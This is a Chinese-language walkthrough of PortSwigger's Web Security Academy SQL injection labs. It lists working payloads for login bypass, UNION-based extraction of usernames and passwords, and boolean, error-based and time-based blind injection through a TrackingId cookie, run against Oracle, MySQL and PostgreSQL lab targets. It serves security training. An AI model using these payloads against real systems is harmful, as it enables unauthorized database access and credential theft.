前言
突然发现BurpSuite练兵场这个系列,没玩过,本来不想再打这个SQL注入练习场,大概看了一下,还是有一些地方值得试试,花了一些时间搞定,算是巩固一下吧
☕️练兵场地址:https://portswigger.net/web-security
☕️SQL注入:SQL 注入备忘单
目标:使应用程序显示显示发布与未发布的产品信息,还有任何类型的产品信息
考虑一个显示不同类别产品的购物应用程序,当用户单击"礼品"类别时,其浏览器会请求以下 URL
GET /filter?category=Gifts
这会导致应用程序进行 SQL 查询,以从数据库中检索相关产品的详细信息
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
该限制用于隐藏未发布的产品,对于未发布的产品,大概是released = 0
注释后面可能的限制条件
GET /filter?category=Gifts'--
设置or 1=1
永真条件,可以使应用程序显示任何类别中的所有产品,包括他们不知道的类别
GET /filter?category=Gifts' or 1=1--
目标:登录绕过,不用密码也能登录
注释查询语句后面可能的密码限制条件
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
第一种方法涉及注入一系列子句并递增指定的列索引
' ORDER BY 1--
' ORDER BY 2--
第二种方法涉及提交一系列有效负载,指定不同数量的 null 值
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
通过多次提交payload,确定列数为3列
Get /filter?category=Gifts' UNION SELECT NULL,NULL,NULL--
在确定了所需列的数量后,探测可用列
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--
若位置不对便会报错
通过整形和字符串两种不同数据类型去判断可用的数据类型的列
Get /filter?category=Gifts' UNION SELECT NULL,'aaaa',NULL--
已知数据库包含一个使用的表users
' UNION SELECT '12','21'--
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
确定是字符型并且是两列,构造payload
Get /filter?category=Gifts' UNION SELECT username,password from users--
假设查询仅返回单个列,通过将多个值连接在一起,可以轻松地在此单列中一起检索多个值
对Oracle数据库,可以提交输入
' UNION SELECT username || '~' || password FROM users--
这是使用双管序列,它是 Oracle 上的字符串串联运算符,注入的查询将字段的值连接在一起,以字符分隔
用于确定某些常用数据库类型的数据库版本的查询如下所示
(1)、已知查询数据库为Oracle,并利用Oracle的dual表做特定查询
'+UNION+SELECT+NULL,'12'+From+dual--
根据Oracle数据库,利用查询数据库版本的语句
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
(2)、已知查询数据库为MySQL,查询版本信息
首先判断返回的列数,注意,注释符选择--+
或者#
'+UNION+SELECT+'abc','def'#
确实列数为两列
根据数据库类型选择查询版本语句
'+UNION+SELECT+'111',@@version--+
(1)、列出非Oracle的数据库内容,找到用户账号密码
大多数数据库类型(Oracle 除外)都有一组称为信息架构的视图,这些视图提供有关数据库的信息
' UNION SELECT 'abc','def'--
在确定列数和类型后
使用以下有效负载检索数据库中的表列表(非Oracle,可选择--+
)
' UNION SELECT table_name,NULL FROM information_schema.tables--
找到用户表,然后检索表中列的详细信息
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_muduks'--
找到相应的字段,查看字段的值
' UNION SELECT username_hgjwzm,password_nrnrfb FROM users_muduks--
(2)、列出Oracle的数据库内容,找到账号密码
验证查询是否返回的列数,验证方式与其他数据库有点不一样
' UNION SELECT 'abc','def' FROM dual--
使用以下有效负载检索数据库中的列表
' UNION SELECT table_name,NULL FROM all_tables--
检索表中列的详细信息
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ODSVMN'--
检索所有用户的用户名和密码
' UNION SELECT USERNAME_IULGOY,PASSWORD_EOKMFZ FROM USERS_ODSVMN--
许多SQL注入实例都是盲目的漏洞,这意味着应用程序不会返回 SQL 查询的结果或其响应中任何数据库错误的详细信息。盲目漏洞仍然可以被利用来访问未经授权的数据,但所涉及的技术通常更复杂且难以执行
不返回 SQL 查询的结果,并且不显示任何错误消息,但是,如果查询返回任何行,应用程序将在页面中包含"欢迎回来"消息
访问商店的首页,拦截和修改包含Cookie的请求,如下是原始Cookie:
Cookie: session=z8DXgfIgCs9po6oagdtY8xs4PzgAiqn7; TrackingId=QvOTi61bx9OKEiJ6
在Cookie后加上
TrackingId=QvOTi61bx9OKEiJ6' AND '1'='1
更改输入值
TrackingId=QvOTi61bx9OKEiJ6' AND '1'='2
现在将其更改为
TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT 'a' FROM users LIMIT 1)='a
验证条件是否为真,确认存在名为users
的表
现在将其更改为
TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT 'a' FROM users WHERE username='administrator')='a
验证条件是否为真,确认存在名为administrator
的用户
下一步是确定用户的密码中有多少个字符
TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
然后只要不断测试这个长度值即可,最后测试密码长度为20
下一步是在每个位置测试字符以确定其值
TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
这里可以进行集束爆破,设置两个BP点,同时BP位置和字符
不会返回 SQL 查询的结果,并且应用程序不会根据查询是否返回任何行而做出任何不同的响应。如果 SQL 查询导致错误,则应用程序将返回自定义错误消息
抓取请求包
TrackingId=xyz'
加单引号异常TrackingId=xyz''
加两个单引号正常,猜测进行SQL查询现在需要确认服务器正在将注入解释为SQL查询,即错误是SQL语法错误,而不是任何其他类型的错误
TrackingId=haoouywlyIj9MWmk'||(SELECT '')||'
异常,猜测需要指定表名TrackingId=haoouywlyIj9MWmk'||(SELECT '' FROM dual)||'
正常,猜测Oracle数据库TrackingId=haoouywlyIj9MWmk'||(SELECT '' FROM not-a-real-table)||'
异常,猜测不存在的表名表明后端正在将注入作为 SQL 查询进行处理
验证可能存在的表
TrackingId=haoouywlyIj9MWmk'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
注意,此处的条件对于防止查询返回多行非常重要,这会破坏我们的串联,WHERE ROWNUM = 1
确定该表存在用户名administrator
TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='gdg')||'
正常,gdd用户不存在,SELECT ' '
不会产生异常
TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='gdg')||'
正常,gdd用户不存在,SELECT TO_CHAR(1/0)
不会产生异常
TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
正常,administrator用户存在,SELECT ' '
不会产生异常
TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
异常,administrator用户存在,SELECT TO_CHAR(1/0)
会产生异常
下一步是确定用户的密码中有多少个字符
TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
因为确定administrator用户存在,如果LENGTH(password)>1
成立,to_char(1/0)
就会报错,网页显示错误,若LENGTH(password)>n
错误,网页显示正常,密码长度就是n,确定长度为20位
然后对密码一位位进行爆破
TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
处理查询时,可能会导致数据库中的时间延迟
TrackingId=XZMyVcav3Hry86KZ'||pg_sleep(10)--
提交请求并观察应用程序需要 10 秒才能响应
查询的执行会触发条件时间延迟来推断信息
访问商店的首页,并拦截和修改包含Cookie的请求,测试时间盲注
接下继续使用case语句测试,符号;
的URL编码后是%3B
,执行完检查Cookie后,执行我们的SQL语句
TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
验证应用程序是否需要 10 秒才能响应。TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
不超时然后可以在when
后构造payload,判断用户administrator存在
TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
延时即存在下一步是确定用户的密码中有多少个字符
TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
确定密码的长度后,下一步是在每个位置测试字符以确定其值
TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
执行该命令延时即说明是对的